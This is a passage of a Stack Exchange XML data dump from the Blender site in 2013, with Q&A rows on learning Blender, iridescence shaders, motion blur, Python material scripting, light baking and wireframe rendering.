here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-13T03:22:37.873" LastActivityDate="2013-08-13T03:22:37.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2355" PostTypeId="1" CreationDate="2013-08-13T03:15:43.603" Score="3" ViewCount="4328" Body="&lt;p&gt;When I get an idea for something I'd like to make in Blender, I hit up Google for specifics, then blender SE when I get stuck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very overwhelmed by the immensity of Blender and I'm a little afraid that this self-directed approach is going to lead me to develop bad habits. Is there a &quot;best practice&quot; way of learning to use Blender? &lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="12" LastEditDate="2013-08-13T03:33:35.023" LastActivityDate="2013-08-13T08:00:53.083" Title="Best practices for learning Blender" Tags="&lt;workflow&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ClosedDate="2013-08-13T08:29:08.913" CommunityOwnedDate="2013-08-13T03:31:25.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="2356" PostTypeId="2" ParentId="2355" CreationDate="2013-08-13T03:23:44.237" Score="3" Body="&lt;p&gt;You may wish to check out the &lt;a href=&quot;http://wiki.blender.org/index.php/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Blender wiki&lt;/a&gt;. For instance, it has a series of articles on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface&quot; rel=&quot;nofollow&quot;&gt;starting to use Blender&lt;/a&gt; for the first time, and it has many articles for specific topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some tutorial websites you may find useful include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cgcookie.com/blender/&quot; rel=&quot;nofollow&quot;&gt;BlenderCookie&lt;/a&gt; and their &lt;a href=&quot;http://cgcookie.com/blender/cgc-courses/blender-basics-introduction-for-beginners/&quot; rel=&quot;nofollow&quot;&gt;Blender Basics&lt;/a&gt; tutorial series&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blenderguru.com/&quot; rel=&quot;nofollow&quot;&gt;BlenderGuru&lt;/a&gt;, offering a tutorials of varying difficulty for specific tasks with general lessons&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderdiplom.com/en/&quot; rel=&quot;nofollow&quot;&gt;BlenderDiplom&lt;/a&gt;, another similar website&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also ask for critiques on the &lt;a href=&quot;http://www.blenderartists.org/forum/&quot; rel=&quot;nofollow&quot;&gt;BlenderArtists&lt;/a&gt; forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend checking the regular contests on websites like BlenderGuru and BlenderCookie. Even if you don't feel qualified to enter, give it your best shot &amp;ndash; you may learn something along the way.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-08-13T03:23:44.237" CommentCount="0" CommunityOwnedDate="2013-08-13T03:31:25.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="2358" PostTypeId="2" ParentId="1605" CreationDate="2013-08-13T04:14:29.427" Score="39" Body="&lt;p&gt;From your linked definition of iridescence:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Iridescence&lt;/strong&gt; [is] the property of certain surfaces that appear to change color as the angle of view or the angle of illumination changes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thus, the following node setup should suffice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WrBu9.png&quot; alt=&quot;Iridescence node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not familiar with node groups, this will create a new &quot;node&quot; called &lt;em&gt;Iridescence&lt;/em&gt; that takes a base color parameter (you probably want white) and a factor parameter (which determines how strong the iridescence is; you probably want about 0.4) to output a color that you can put into a shader. You can see examples of how this works before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup simply takes the dot product of the view vector and the surface normal and maps it to a spectrum. If you're not familiar with vector math, you can basically think of a dot product as a measure of how parallel two vectors are: the dot product of two perpendicular vectors is 0, while the dot product of two normalized parallel (or anti-parallel) vectors is 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can put this node group in any shader and get a nice result. I tried it in a Diffuse BSDF, but putting it in a Glass BSDF might yield some nice bubble renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image of Suzanne wearing her iridescent cloak (the factor is set to 1.0 to exaggerate the effect):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v4WiQ.png&quot; alt=&quot;Iridescence on Suzanne head, fac=1.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the factor turned down to 40% (lower works in better lighting setups, but my sky texture is blowing it out):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O6RDK.png&quot; alt=&quot;Iridescence on Suzanne head, fac=0.4&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-20T23:09:46.190" LastActivityDate="2013-08-20T23:09:46.190" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2359" PostTypeId="1" AcceptedAnswerId="2501" CreationDate="2013-08-13T06:40:07.107" Score="13" ViewCount="3016" Body="&lt;p&gt;I'm rendering an animation with motion blur (Shutter: 0.7) of a flyover of a bridge with moving cars on it.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that the cars get transparent as seen in the image. Can this really be the correct behavior or is something wrong with the motion blur implementation? And if that is the cause, any idea on how to fix it?&lt;/p&gt;&#xA;&lt;p&gt;The train is also moving but is shown correctly. The cars are made from a particle system, that renders a group of cars, while the train is an actual model.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mIsnl.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Second render without Motion blur:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/rAwCOUa.png&quot; alt=&quot;No motion blur example image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;I did some further testing and here's the result: motion blur is broken together with curve-guide.&#xA;I've created an emitter emitting one particle shown as a box (with the group option). There's a curve-guide guiding the particle. To the right, there's a box, animated by hand with keyframes to follow the motion of the particle. They have almost the same speed. Clearly it messes up.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OmzsS.png&quot; alt=&quot;Rendering&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/V9QEy.png&quot; alt=&quot;Wire&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now I would like to know if there is a another way to make my cars follow the road. I could try a lattice which doesn't have the rendering issue, but it's not as precise. As suggested by gandalf3, I could use the keyed particle system, but I can find no way to get a uniform speed along the way.&lt;/p&gt;&#xA;&lt;p&gt;Lastly, should this edit be in another question? I'm not that familiar with the Stack Exchange norms.&lt;/p&gt;&#xA;" OwnerUserId="1103" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-05T18:09:57.570" Title="Transparent motion blur in Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;blur&gt;" AnswerCount="3" CommentCount="10" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2360" PostTypeId="2" ParentId="2355" CreationDate="2013-08-13T07:59:43.853" Score="1" Body="&lt;p&gt;Blender is immense and does have a lot of features/functions, so you will find people have many different methods and workflows. &#xA;The best practice would really be learning how to use the necessary Hotkeys that you'll be using the most. If your goal is to create a decent model in the most efficient and time-conserving way possible, memorizing Hotkeys is important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check out &lt;a href=&quot;http://darkscarab.com&quot; rel=&quot;nofollow&quot;&gt;http://darkscarab.com&lt;/a&gt;. Fairly small community for people who aren't comfortable with tons of people. The members are also quite knowledgeable and helpful. &lt;/p&gt;&#xA;" OwnerUserId="1105" LastActivityDate="2013-08-13T07:59:43.853" CommentCount="0" CommunityOwnedDate="2013-08-13T07:59:43.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="2361" PostTypeId="2" ParentId="2355" CreationDate="2013-08-13T08:00:53.083" Score="3" Body="&lt;p&gt;Yes blender is a large topic to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't be concerned with learning bad habits. Find a way to do what you need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time you will come across different ways to do the same thing, some of them may be from new features added to blender, some will just be short cuts that you haven't found yet. You just need to stay open to the thought of always learning and be willing to try different ways of doing tasks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the best of us do things differently today than we did 5 years ago.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-13T08:00:53.083" CommentCount="0" CommunityOwnedDate="2013-08-13T08:00:53.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="2362" PostTypeId="1" AcceptedAnswerId="2363" CreationDate="2013-08-13T08:48:57.047" Score="15" ViewCount="5962" Body="&lt;p&gt;Blender 2.68a, Python 3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to unlink material from a mesh, and even after googling a hour I don't know how to do it. I only saw scripts that work in Blender 2.5x only for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So could someone tell me (or link info), how to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fIknH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with python script?&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="47" LastEditDate="2013-08-13T09:40:27.340" LastActivityDate="2018-04-09T19:34:36.300" Title="How to unlink material from a mesh, with python script?" Tags="&lt;materials&gt;&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2363" PostTypeId="2" ParentId="2362" CreationDate="2013-08-13T08:54:26.890" Score="19" Body="&lt;h1&gt;Unlink a Material&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Remove the first material from the mesh.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.object&#xA;obj.data.materials.pop(0, update_data=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove all materials.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.object&#xA;obj.data.materials.clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Unlink Texface&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This clears images for each face (active uv layer only)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.object&#xA;for tf in obj.data.uv_textures.active.data:&#xA;    tf.image = None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This clears images for &lt;strong&gt;all&lt;/strong&gt; UV layers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.object&#xA;for texlay in obj.data.uv_textures:&#xA;    for tf in texlay.data:&#xA;        tf.image = None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;a href=&quot;https://developer.blender.org/T51382&quot; rel=&quot;noreferrer&quot;&gt;TexFace has been removed in Blender2.8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-05-31T09:57:00.057" LastActivityDate="2017-05-31T09:57:00.057" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2364" PostTypeId="1" AcceptedAnswerId="2365" CreationDate="2013-08-13T09:00:56.827" Score="8" ViewCount="10561" Body="&lt;p&gt;How does one bake lights and only the lights (no textures, shadows, etc.) in Blender 2.67b? I don't see anything that would indicate as to baking lights within the Bake Mode.&lt;/p&gt;&#xA;" OwnerUserId="1106" LastEditorUserId="2217" LastEditDate="2014-07-29T00:32:31.007" LastActivityDate="2014-07-29T00:32:31.007" Title="How to Bake Lights" Tags="&lt;light&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2365" PostTypeId="2" ParentId="2364" CreationDate="2013-08-13T10:30:33.923" Score="6" Body="&lt;p&gt;You'll need to do a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Bake&quot;&gt;&lt;em&gt;Full Render&lt;/em&gt; bake&lt;/a&gt;. Textures and shadows can be disabled in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render#Shading&quot;&gt;&lt;em&gt;Shading&lt;/em&gt; panel&lt;/a&gt; of the render settings.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-13T10:30:33.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2366" PostTypeId="2" ParentId="2364" CreationDate="2013-08-13T12:19:47.297" Score="1" Body="&lt;p&gt;You can render a few of the channels and mix them together later. For example, if you only want shading, you can bake shadows and AO, then mix them (using a multiply mix type) together in an image editor. If you wanted highlights as well, you could bake the specularity and mix it with the other two channels using the add mix type.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-08-13T12:49:46.347" LastActivityDate="2013-08-13T12:49:46.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2367" PostTypeId="1" AcceptedAnswerId="2370" CreationDate="2013-08-13T13:22:45.253" Score="5" ViewCount="1917" Body="&lt;p&gt;I want to set texture for faces. I put together a quick example using the &quot;Cube&quot; and an existing BMP as the texture file on disk. I am in Object Mode. I set the Viewport Shading to &lt;em&gt;Texture&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;texturak = bpy.data.textures&#xA;o = bpy.data.objects[&quot;Cube&quot;]&#xA;me = o.data&#xA;ol = me.materials&#xA;&#xA;img = bpy.data.images.load('d:\\canwall1.bmp')&#xA;texturak.new('ColorTex', type = 'IMAGE')&#xA;texturak[-1].image = img&#xA;&#xA;mat = bpy.data.materials.new('TexMat')&#xA;mtex = mat.texture_slots.add()&#xA;mtex.texture = texturak[-1]&#xA;mtex.texture_coords = 'UV'&#xA;mtex.use_map_color_diffuse = True &#xA;mtex.use_map_color_emission = True &#xA;mtex.emission_color_factor = 0.5&#xA;mtex.use_map_density = True &#xA;mtex.mapping = 'FLAT' &#xA;&#xA;if (len(me.uv_textures) == 0):&#xA;    me.uv_textures.new()&#xA;while (ol):&#xA;    ol.pop(0,update_data = True)&#xA;ol.append(mat)&#xA;&#xA;for texlay in me.uv_textures:&#xA;    for tf in texlay.data:&#xA;        tf.image = img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the cube, then the texture, I add it as a material. From there, I found no good examples on internet. The only working stuff was for Blender 2.5 and some guesses from the answer of my previous question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for this time I tried to set all face-images to the image I load. But all I get is a purple cube. Now my guess is that &quot;something happened&quot; (woohoo), but as well as &quot;something is missing&quot; (no woohoo this time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question would be to those more experienced, that what is missed here actually, or is there a better way to set material / texture to a face / faces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; To extend my question: I want to have more textures per mesh; this is why I want to set the texture per face.&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="372" LastEditDate="2013-08-13T15:18:14.093" LastActivityDate="2021-03-14T14:44:57.423" Title="Set face texture" Tags="&lt;materials&gt;&lt;python&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2368" PostTypeId="1" CreationDate="2013-08-13T14:30:31.977" Score="3" ViewCount="1713" Body="&lt;p&gt;I need to constrain an object using the axis of another object (my problem is related to the axis direction: there is no &quot;distance between objects&quot; constraint; you have to use the local or global axis to check). So, I made this parented object that tracks the whole time to another one, and from it I want the Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://www.tutorialsforblender3d.com/BGE_Python/Actuators/Constraint/ConstraintActuator_Orientation_direction.html&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; for reference, I did the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#CONSTRAINT&#xA;direction = cont.actuators['Direction'] #the constraint actuator&#xA;face = sce.objects['Facer'] #the facing object&#xA;faco = face.localOrientation[1] #here we are (this gives me a 3x3 matrix)&#xA;                                #but i only want to use the Y value&#xA;                                #I’ve tried out even 0, and 2 but wont work&#xA;&#xA;def constra():&#xA;    direction.direction = faco #this isn't running as it should&#xA;    cont.activate(direction)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are no errors in the terminal. It's just not doing what it should do. I think I'm wrong, and he didn't want the orientation of the object, but some other stuff maybe...&lt;/p&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="372" LastEditDate="2013-08-13T16:17:36.490" LastActivityDate="2018-01-21T12:42:49.667" Title="BGE: How to set the Constraint Axis to an object coordinate" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2369" PostTypeId="1" AcceptedAnswerId="2371" CreationDate="2013-08-13T16:22:38.010" Score="10" ViewCount="892" Body="&lt;p&gt;I would like to use modifiers to mirror and rotate an object.&#xA;Or simply, mirror on a point, not a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Left on the image is the simple mirror modifier using the x-axis.&#xA;I want to have the situation on the right, where the object is mirrored and&#xA;rotated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Red points correspond to each other.&#xA;It would be easier than copying and rotating the object, because I&#xA;want to model some kind of matching, point-wise symmetric chain links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S0ZZc.png&quot; alt=&quot;Red dots correspond to the same point, but mirrored. Left: Mirror modifier for x-axis. Right: Mirrored point-wise&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="57" LastActivityDate="2013-10-10T11:01:46.700" Title="Mirror an object via modifiers on a point(instead of a plane)" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2370" PostTypeId="2" ParentId="2367" CreationDate="2013-08-13T16:23:54.110" Score="4" Body="&lt;p&gt;The following sets the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Applying_Image#Face_Textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;face texture&lt;/a&gt; of face &lt;code&gt;0&lt;/code&gt; for the active object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;img = bpy.data.images.load(&quot;//example.png&quot;)&#xA;obj.data.uv_textures.active.data[0].image = img&#xA;&#xA;# To make renderable:&#xA;mat = bpy.data.materials.new(&quot;Example&quot;)&#xA;mat.use_face_texture = True&#xA;obj.data.materials.append(mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For cycles see: &lt;a href=&quot;https://blender.stackexchange.com/q/2100/290&quot;&gt;Different image textures for one material (Cycles)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2013-08-13T16:45:13.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2371" PostTypeId="2" ParentId="2369" CreationDate="2013-08-13T16:29:13.447" Score="10" Body="&lt;ol&gt;&#xA;&lt;li&gt;Create an empty at the origin of your object.&lt;/li&gt;&#xA;&lt;li&gt;Rotate it 180&amp;deg; relative to the object's rotation.&lt;/li&gt;&#xA;&lt;li&gt;Add an &lt;em&gt;Array&lt;/em&gt; modifier to your object, and disable all offsets.&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Object Offset&lt;/em&gt; and select the empty from the list.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p7r16.png&quot; alt=&quot;Example setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;em&gt;Object Offset&lt;/em&gt; can be a very powerful tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pDLvF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another Solution to this would be to use a linked copy, created with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and rotate that 180°. Linked copies share the same mesh.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-10T11:01:46.700" LastActivityDate="2013-10-10T11:01:46.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2372" PostTypeId="1" AcceptedAnswerId="2375" CreationDate="2013-08-13T18:53:25.130" Score="12" ViewCount="3079" Body="&lt;p&gt;I'd like to combine these features: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The pixelated look of a wire material with anti-aliasing disabled.&lt;/li&gt;&#xA;&lt;li&gt;Proper occlusion of hidden lines.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A wireframe material produces the first feature, freestyle produces the second. Can a line set be created that produces neither double pixels nor gaps? Line thickness alone does not seem to be the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the trick with two materials and z-offset, but I have trouble getting a really clean solution at the outline of the object. So a freestyle solution would be best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h2keo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem is that freestyle (to the right) produces double pixels:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XE9s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-03T18:02:48.697" LastActivityDate="2015-08-30T07:09:19.120" Title="How to render a pixelated, occluded wireframe with freestyle?" Tags="&lt;rendering&gt;&lt;freestyle&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2373" PostTypeId="2" ParentId="2002" CreationDate="2013-08-13T19:41:12.787" Score="3" Body="&lt;p&gt;You cannot use Network Render to render a single frame out-of-the-box. However, it is possible with some tweaking and post-processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, extend your timeline to however many slaves you are going to use. If different slaves have different hardware configurations, you may want to multiply this by two to render slightly faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the &lt;strong&gt;Properties&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Render Settings&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Sampling&lt;/strong&gt;, select the &lt;em&gt;Seed&lt;/em&gt; field and enter the text &lt;code&gt;#frame&lt;/code&gt;. Press &lt;kbd&gt;Enter&lt;/kbd&gt;. (If you see a message indicating that the driver will not be automatically run, either enable autorun for drivers or reload the file as trusted; don't forget to save.) This will tie the interpolator seed to the current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, take the &lt;em&gt;Render Samples&lt;/em&gt; value and divide it by the number of frames in your timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now perform a network render of your file. When your &quot;video&quot; is finished, you can blend the files together to obtain the final image.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-08-13T19:41:12.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2374" PostTypeId="2" ParentId="2372" CreationDate="2013-08-13T20:09:14.023" Score="3" Body="&lt;p&gt;You can get this with a wireframe material using &lt;a href=&quot;http://www.blendtuts.com/2010/08/how-to-render-wireframes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this method&lt;/a&gt; (see &lt;a href=&quot;https://blender.stackexchange.com/a/2785/599&quot;&gt;this&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable anti-aliasing in &lt;em&gt;render settings&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q2HHe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a material wire material, enable transparency and increase the &lt;em&gt;Z offset&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HUhvK.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZQA8o.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create another material for your object and make it pure black:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hjFzB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign the second (black) material to all the faces (&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&amp;gt; edit mode&lt;/em&gt; &lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; select all &amp;gt; Assign&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the world color to black:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d8HDR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uwT6l.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mSAHy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that sometimes with low resolution renders you may have to increase the Z offset even more to prevent gaps in the edges.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-10T18:41:42.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2375" PostTypeId="2" ParentId="2372" CreationDate="2013-08-13T20:53:32.390" Score="6" Body="&lt;p&gt;You can use the Blender &lt;a href=&quot;http://blender.org/manual/getting_started/basics/quick_render.html#the-purposes-of-opengl-rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenGL viewport rendering&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to edit mode, activate edge-select and Z-Clipping:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eqyca.png&quot; alt=&quot;viewport settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to User Preferences, System, then disable all lights and make the final one black (color and specular, in my screenshot, only the specular ones are set to black).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xE8IQ.png&quot; alt=&quot;light settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to the Theme settings, 3D View and set selected edges to white and selected faces to black.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RKiTW.png&quot; alt=&quot;theme settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select everything and press the &quot;OpenGL render active viewport&quot; (3D view header, the left one in the screenshot).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4OVPK.png&quot; alt=&quot;viewport render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove other lines such as 